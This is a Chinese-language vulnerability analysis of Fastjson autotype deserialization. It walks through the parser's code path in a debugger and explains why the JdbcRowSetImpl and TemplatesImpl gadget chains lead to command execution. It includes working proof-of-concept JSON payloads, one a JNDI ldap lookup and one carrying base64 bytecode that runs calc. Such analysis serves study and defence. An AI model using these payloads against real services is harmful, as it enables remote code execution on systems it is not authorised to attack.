概述

Fastjson是阿里巴巴的⼀个开源Java库,提供了Java对象与Json相互转换的API

  • toJSONString()方法:将Json对象转换成Json字符串;

  • parseObject()方法:将Json字符串转换成Json对象;

  • pase()方法:将Json字符串转换为Json对象

本文主要分析一下当我们打了payload之后具体是怎么触发反序列化的,为什么可以执行命令

Fastjson反序列化

定义⼀个person类

package org.example;
public class Person {        private String name;    private int age;
    public Person(){        System.out.println("constructor run");    }    public void setName(String name) {        System.out.println("setName run");        this.name = name;    }    public String getName() {        System.out.println("getnNme run");        return this.name;    }    public void setAge(int age) {        System.out.println("setAge run");        this.age = age;    }    public int getAge(){        System.out.println("getAge run");        return this.age;    }}

再定义⼀个Testperson类

package org.example;import com.alibaba.fastjson.JSON;
public class Testperson {    public static void main(String[] args) {        Person person = new Person();        person.setAge(18);        person.setName("zhangsan");        System.out.println("----------------------------------------------");        //序列化        String jsonString1 = JSON.toJSONString(person);     // String jsonString1 = JSON.toJSONString(person, SerializerFeature.WriteClassName);        System.out.println(jsonString1);
     // String jsonString1 = "{\"age\":18,\"name\":\"zhangsan\"}";     // String jsonString1 = "{\"@type\":\"Person\",\"age\":18,\"name\":\"zhangsan\"}";        //反序列化        Object person1 = JSON.parse(jsonString1);        System.out.println(person1);    }}

运行结果

constructor runsetAge runsetName run----------------------------------------------getAge rungetnNme run{"@type":"Person","age":18,"name":"zhangsan"}constructor runsetAge runsetName runPerson@3d71d552

结论:

  • 在序列化的时候,Fastjson会调用指定类中的get方法,被private修饰且没有get方法的属性不会被序列化,

  • 在反序列化的时候,fastjson会调用指定属性的set方法,并且public修饰的属性全部会被赋值

Fastjson反序列化漏洞复现

漏洞是利用fastjson在使用autotype处理json对象的时候,未对@type字段进行完全的安全性验证,导致攻击者可以传入危险类,并调用危险方法连接远程rmi主机,通过其中的恶意类执行代码。

JdbcRowSetImpl链分析

JdbcRowSetImpl的利用链在实际运用中较为广泛,这个链基本没啥限制条件,只需要Json.parse(input) 即可进行命令执行。但是使用JNDI注入对JDK的版本有⼀定限制

RMI利用的JDK版本≤ JDK 6u132、7u122、8u113

LADP利用JDK版本≤ 6u211 、7u201、8u191

漏洞复现

漏洞版本:fastjson 1.22-1.24
利用链:JdbcRowSetImpl
poc:

import com.alibaba.fastjson.JSON;public class JdbcRowSetImplPoc {    public static void main(String[] args) {        String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"ldap://127.0.0.1:8085/MPfKfjem\", \"autoCommit\":true}";                  JSON.parse(PoC);    }}  

从前面的测试中我们可以知道,FastJson反序列化的过程中会调用指定属性的get、set方法。

  • @type:目标反序列化类名;

  • dataSourceName:JNDI远程恶意服务,反序列化时会调用setDataSourceName方法;

  • autoCommit:在反序列化时,会去调用setAutoCommit方法

调试中我们可以看到dataSourceName参数在解析中会调用setDataSourceName方法赋值

而autoCommit参数也会调用setAutoCommit方法

这里会执行到else这个分支,然后调用this.connect()方法,跟进该方法

跟踪到这里发现执行了lookup方法,而lookup方法传入了this.getDataSourceName()参数,这个参数返回的是dataSourceName的值,而这个dataSourceName是前面setDataSourceName方法设置的,是⼀个可控的参数,所以这里可以使用JNDI注入从而达到命令执行

Templateslmpl链分析

漏洞复现

漏洞版本:fastjson 1.22-1.24
利用链:TemplatesImpl
poc:

import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;import com.alibaba.fastjson.parser.ParserConfig;public class TemplatesImplPoc {    public static void main(String[] args) {        ParserConfig config = new ParserConfig();        String text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAAIAAkHACEMACIAIwEABGNhbGMMACQAJQEABFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQALAAAADgADAAAACgAEAAsADQAMAAwAAAAEAAEADQABAA4ADwABAAoAAAAZAAAABAAAAAGxAAAAAQALAAAABgABAAAAEAABAA4AEAACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAAFQAMAAAABAABABEACQASABMAAgAKAAAAJQACAAIAAAAJuwAFWbcABkyxAAAAAQALAAAACgACAAAAGAAIABkADAAAAAQAAQAUAAEAFQAAAAIAFg==\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }}";        Object obj = JSON.parseObject(text, Object.class, config, Feature.SupportNonPublicField);    }}

其中_bytecodes字段对应的数据的是下面这段代码,编译后进行base64加密后的数据

import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class Test extends AbstractTranslet {    public Test() throws IOException {        Runtime.getRuntime().exec("calc");    }
    @Override    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {    }
    @Override    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {    }
    public static void main(String[] args) throws Exception {        Test t = new Test();    }}

思考:

1. 如果是只对_bytecodes插⼊恶意代码为什么需要构造这么多的值

2. _bytecodes中的值为什么需要进行Base64加密

3. 在反序列化的时候为什么要加入Feature.SupportNonPublicField参数值

  • 从源码可以看到"_name、 tractory、 outputProperties、 bytecodes"这几个参数都是private修饰的私有变量,并且name、_tractory、_bytecodes参数没有对应的set方法,必须加入Feature.SupportNonPublicField属性在parseObject中才能触发。由此可以看出TemplatesImpl链的利用条件比较苛刻,需要开启Feature.SupportNonPublicField选项才能利用

  • @type:用于存放反序列化时的目标类型,这里指定的是TemplatesImpl这个类,Fastjson会按照这个类反序列化得到实例,因为调用了getOutputProperties方法,实例化了传入的bytecodes类,导致命令执行

  • _bytecodes:继承AbstractTranslet类的恶意类字节码,并且使用Base64编码

  • _name:调用getTransletInstance时会判断其是否为null,为null直接return,不会往下进行执行,利用链就断了

  • _tfactory:defineTransletClasses中会调用其getExternalExtensionsMap方法,为null会出现异常

  • _outputProperties:漏洞利用时的关键参数,由于Fastjson反序列化过程中会调用其getOutputProperties方法,导致bytecodes字节码成功实例化,造成命令执行

漏洞断点分析

下断点开始调试

public static <T> T parseObject(String input, Type clazz, ParserConfig config, Feature... features) {        return parseObject(input, clazz, config, (ParseProcess)null, DEFAULT_PARSER_FEATURE, features);    }

这里传入了几个参数,并调用重载的parseObject方法。

input:json字符串
clazz:指定反序列化对象,这里是class
config:ParserConfig的实例对象
Feature:反序列化private属性所用到的⼀个参数

实例化了⼀个DefaultJSONParser(json解析器),然后调用parseObject方法,跟踪parseObject

parseObject方法:

这里调用了deserialze方法,进行跟踪
这里首先判断是不是GenericArrayType类型,然后是⼀个三元判断type是否为Class对象并且type不等于Object.class,type不等于Serializable.class,条件为true调用parser.parseObject,条件为flase调用parser.parse。很显然这里会调用parser.parse方法。继续跟踪

parse方法:

这里将this.lexer赋值给lexer,这个this.lexer是在调用重载parseObject方法时,在实例化DefaultJSONParser对象的时候赋值的

这里获取当前字符串的第⼀个字符,如果第⼀个字符为"{"的话,token=12

然后是⼀个switch语句,根据token的值,调用重载的parseObject方法。

parseObject方法:这里就开始对json字符串进行解析了

这里先跳过空格和多个逗号(,),然后当ch == '"'时,通过lexer.scanSymbol方法获取key的值,也就是@type

然后判断key是否等于"@type",如果为真则获取key的值,也就是我们写的类名,接着调用TypeUtils.loadClass方法,通过反射将类名传进去获取⼀个类对象

跟进loadclass方法,看⼀下类是怎么加载的,先是在mappings缓存里找这个类,然后又判断类名是否以[开头,true的话就去掉,接着判断是否以L开头;结尾,true的话也是去掉这些,这里也为fastjson后续版本的绕过埋下了伏笔(1.2.41、1.2.42、1.2.43)

如果上面的情况都不满足的话,在这里获取⼀个类加载器,加载类之后放到mappings缓存里面,并返回 这个类,这里也是为后续版本的绕过埋下了伏笔

然后走到这里,调用this.config.getDeserializer(clazz)方法获取反序列化器

ObjectDeserializer deserializer = config.getDeserializer(clazz);return deserializer.deserialze(this, clazz, fieldName);

跟进getDeserializer方法,首先在缓存里获取反序列化器

这里可以看到它的构造方法里内置了⼀些反序列化器

再次调用重载的getDeserializer方法,首先还是在缓存中查找反序列化的类,最后调用this.createJavaBeanDeserializer(clazz, (Type)type)方法

跟进createJavaBeanDeserializer方法:

这里有⼀个asmEnable的属性,默认为true,他类似⼀个开关,用来控制是否启用ASM(ASM是⼀个用于操作Java字节码的框架。它是⼀个轻量级且高性能的字节码工具库,广泛用于在运行时生成和转换Java类的字节码)

下面的很多判断都是来改变这个asmEnable

最后调用了JavaBeanInfo.build(clazz, type, this.propertyNamingStrategy)方法

跟进:这里先获取类的⼀些信息

  • (JSONType)clazz.getAnnotation(JSONType.class):获取JSONTye注解

  • getBuilderClass(jsonType) :通过JSONType注解获取类构造器

  • clazz.getDeclaredFields():获取类中所有的属性

  • clazz.getMethods():获取类中的⽅法

  • getDefaultConstructor(builderClass == null ? clazz : builderClass):获取默认构造方法

  • ListfieldList = new ArrayList():新建⼀个数组对象,⽤来存储所有符合要求字段 

然后这里有3个for循环,分别用来获取set方法,public字段,get方法,然后将符合要求的字段添加到fieldList数组

set方法的查找方式:

  • 方法名长度大于4

  • 非静态方法

  • 返回值为void或当前类 

  • 方法名以set开头 

  • 参数个数为1

get方法的查找方式:

  • 方法名长度大于等于4

  • 非静态方法

  • 以get开头且第4个字母为大写

  • 无传入参数

  • 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong

最后我们获取到了TemplatesImpl的getOutputProperties()方法

然后返回到com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze接着跟踪

经过重载后来到这里,开始遍历json中的内容

然后直接来到这里,调用this.parseField(parser, key, object, type, fieldValues)方法

跟进,这里调用this.smartMatch(key)方法获取字段对应的反序列化器(set、get方法)

然后有这样两行代码:

int mask = Feature.SupportNonPublicField.mask;if (fieldDeserializer == null && (parser.lexer.isEnabled(mask) || (this.beanInfo.parserFeatures & mask) != 0)) {

由于调用parseObject方法反序列化时,设置了Feature.SupportNonPublicField属性,这里经过判断后会进去到这个if分支里,如果未设置Feature.SupportNonPublicField属性,则会返回false

Object obj = JSON.parseObject(text, Object.class, config, Feature.SupportNonPublicField);

这里的if循环,主要就是遍历类中的所有字段,把修饰符不是final和static的字段放入这个extraFieldDeserializers反序列化器内

然后通过this.extraFieldDeserializers.get(key) --- 获取字段的反序列化器

通过field.setAccessible(true)方法设置私有字段可访问(private修饰的字段,在使用反射时不能直接访问)

再调用重载的((FieldDeserializer)fieldDeserializer).parseField()方法

跟进parseField()方法

1.通过this.getFieldValueDeserilizer(parser.getConfig())方法获取字段值的反序列化器

2.通过this.setValue(object, value)方法给字段赋值

跟进this.setValue()方法,这里有两个逻辑

1. 这里首先获取字段对应的set方法,通过method.invaka()方法进行赋值

2. 如果字段没有对应的set方法,method为null,然后获取字段,并通过field.set()方法对字段进行赋值

TemplatesImpl类内的调用链

通过invaka()方法会调用到getOutputProperties()方法

跟进newTransformer方法

这里调用了getTransletInstance方法

这里首先判断"_name"参数是否为空,为空返回null

然后调用defineTransletClasses方法

跟进defineTransletClasses

1.判断_bytecodes数组是否为空

2.创建⼀个TransletClassLoader对象loader

3.使用循环遍历_bytecodes数组,将每个字节码通过loader.defineClass方法加载为Class对象,并将其存储在_class数组中

然后回到getTransletInstance方法,这里使用AbstractTranslet translet =(AbstractTranslet)_class[_transletIndex].newInstance()创建⼀个新的AbstractTranslet对象,到这⾥恶意代码被加载

调用栈

tips

至于为什么是getOutputProperties()方法,而不是get_OutputProperties,因为在执行smartMatch()方法获取字段反序列化器的时候,如果匹配不到get_OutputPropertie,会把(_)和(-)替换为空继续进行匹配

还有最后⼀个问题:_bytecodes为什么需要进行base64编码的问题让我们回到parseField方法,在获取value值的时候调用了deserialze方法

跟踪deserialze方法,这里又调用了parser.parseArray方法

跟踪parser.parseArray,然后又调用了deserialze方法

跟进后发现,看到这里调用了lexer.bytesValue()方法

跟进lexer.bytesValue()方法,发现这里进行了base64解码

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。